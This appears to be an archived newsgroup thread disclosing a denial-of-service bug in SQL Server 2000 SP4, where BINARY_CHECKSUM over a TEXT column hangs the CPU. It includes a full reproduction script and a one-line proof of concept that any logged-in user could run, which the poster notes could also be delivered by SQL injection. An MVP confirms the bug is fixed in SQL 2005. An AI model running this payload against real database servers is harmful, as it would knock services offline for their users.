Re: Denial of Service: BINARY_CHECKSUM of TEXT column hangs CPU: SQL 2K SP4

I've passed the details on and it does look like they're aware of it as its
fixed in SQL2005 (you get an error saying there are no comparable columns)
but I couldn't find any KB that referenced it and it's not fixed in SQL2000
8.00.2026. I'll let you know what I find out.

--
HTH,
Jasper Smith (SQL Server MVP)
http://www.sqldbatips.com


"Chuck Hawkins" <charles.hawkins@xxxxxxxxxxxxxxxxxx> wrote in message
news:%23u1cU1oIGHA.676@xxxxxxxxxxxxxxxxxxxxxxx
> Stripping the problem down as proof of concept, here is a one-liner that
> makes use of the DOS attack:
>
> EXEC('CREATE TABLE #T(Y text);INSERT INTO #T VALUES('''');SELECT
> BINARY_CHECKSUM(*)from(SELECT Y FROM #T)B;'
>
> I don't know of any login that, once validated as a login to a server,
> couldn't run this command. Additionally, it could be used in a SQL
> injection.
>
> Thanks,
>
> Chuck
>
>
>
> "Chuck Hawkins" <charles.hawkins@xxxxxxxxxxxxxxxxxx> wrote in message
> news:uvjDvFoIGHA.3036@xxxxxxxxxxxxxxxxxxxxxxx
>>I was comparing two tables using a BINARY_CHECKSUM(*) function across the
>> rows when I ran into a problem. When one of my tables happened to have a
>> TEXT column in it, the query calculating the BINARY_CHECKSUM(*) pegged
>> the
>> CPU at 100% and wouldn't let go, even when I killed Query Analyzer. Since
>> it
>> was a dual proc server, it was only 50% CPU utilization overall. If I ran
>> the query twice in separate QA sessions, it pegged the whole server at
>> 100%
>> CPU and I couldn't make any more SQL Server connections for that
>> instance.
>> As a test, I let this go on overnight with no end in site for the CPU
>> utilization. In order to regain control of the instance, I had to kill
>> the
>> SQLSERVR.EXE process in Task Manager on the server.
>>
>> This is in SQL 2000 SP4 on a dual processor Intel server on top of
>> Windows
>> 2000 SP4.
>>
>> I did a Google search and couldn't come up with any problems regarding a
>> TEXT column and the BINARY_CHECKSUM function. BOL says, regarding
>> BINARY_CHECKSUM:
>> "Noncomparable data types are text, ntext, image, and cursor, as well as
>> sql_variant with any of the above types as its base type." It doesn't
>> say,
>> however, that it will take your CPU to 100% utilization and not let go.
>>
>> Here is a sample scenario and query that duplicates my issue. Run it
>> first
>> with the XSL column commented out and then run it after un-commenting the
>> XSL column to cause the problem. Be prepared to kill your SQLSERVR.EXE
>> process in Task Manager to recover the CPU.
>>
>> And, oh by the way, since I did this in TEMPDB (you could do it with a
>> #temp table), essentially any login that
>> has any access at all to your SQL Server can lock it up and you will not
>> know what hit you since TEMPDB will be rebuilt after you kill
>> SQLSERVR.EXE
>> and restart it. There were no error log message or event log messages to
>> give me a clue as to what was happening.
>>
>> Chuck
>>
>>
>> USE TEMPDB
>> GO
>>
>> select @@version -- Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
>>
>> if exists (select * from dbo.sysobjects where id =
>> object_id(N'[TESTXSL]')
>> and OBJECTPROPERTY(id, N'IsUserTable') = 1)
>> drop table [TESTXSL]
>> GO
>>
>> if not exists (select * from dbo.sysobjects where id =
>> object_id(N'[dbo].[TESTXSL]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
>> BEGIN
>> CREATE TABLE [TESTXSL] (
>> [XSL_ID] [int] NOT NULL ,
>> [XSL] [text] COLLATE SQL_Latin1_General_CP1_CI_AS NULL
>> CONSTRAINT [PK_TESTXSL] PRIMARY KEY CLUSTERED
>> (
>> [XSL_ID]
>> )
>> )
>> END
>>
>> GO
>>
>> --
>> -- TABLE INSERT STATEMENTS
>> --
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 40, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 50, ' ' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 60, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 70, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 80, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 90, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 100, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 110, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 120, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 140, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 150, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 160, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 170, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 180, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 190, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 200, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 210, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 220, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 230, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 240, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 250, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 260, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 270, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 280, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 290, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 300, '' )
>> go
>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>> VALUES ( 310, 'sa' )
>> go
>>
>>
>> SELECT *,BINARY_CHECKSUM(*) AS CHECKCODE from (
>> SELECT XSL_ID--,XSL
>> FROM tempdb.dbo.TESTXSL (nolock)
>> ) B1
>>
>>
>>
>>
>>
>
>


.

Relevant Pages

  • Re: Denial of Service: BINARY_CHECKSUM of TEXT column hangs CPU: SQL 2K SP4
    ... I don't know of any login that, once validated as a login to a server, ... > CPU at 100% and wouldn't let go, even when I killed Query Analyzer. ... > XSL column to cause the problem. ... > CREATE TABLE [TESTXSL] ( ...
    (microsoft.public.sqlserver.security)
  • Denial of Service: BINARY_CHECKSUM of TEXT column hangs CPU: SQL 2K SP4
    ... CPU at 100% and wouldn't let go, even when I killed Query Analyzer. ... was a dual proc server, it was only 50% CPU utilization overall. ... XSL column to cause the problem. ... CREATE TABLE [TESTXSL] ( ...
    (microsoft.public.sqlserver.security)
  • Re: Howto optimize XSL transformations (reuse compilations) on a web server?
    ... Then the web server transform this XML-document to HTML with a XSL document. ... The XSL file actually consists of 1 main XSL with include statements to 24 other XSL files, so it's quite a large XSL document. ... The compilation takes place when the Load ... of the XSL document on the server so I will not have to recompile it in every request? ...
    (microsoft.public.dotnet.xml)
  • XML - sold! (was Parsing large amounts of data (200,000 entries) with XML?)
    ... was getting a bit deep! ... If you are asking if you can generate an XSL on ... > so you can build and load it directly into the parser. ... > parser on the server, it would save the file locally to the server. ...
    (microsoft.public.vb.general.discussion)
  • Is it possible to embed/combine XML+XSL?
    ... with a question about composing XML and XSL. ... a need to send one XML file with NO external server references to an ... just put a remote URI in the href and get the XSL from a server ...
    (comp.text.xml)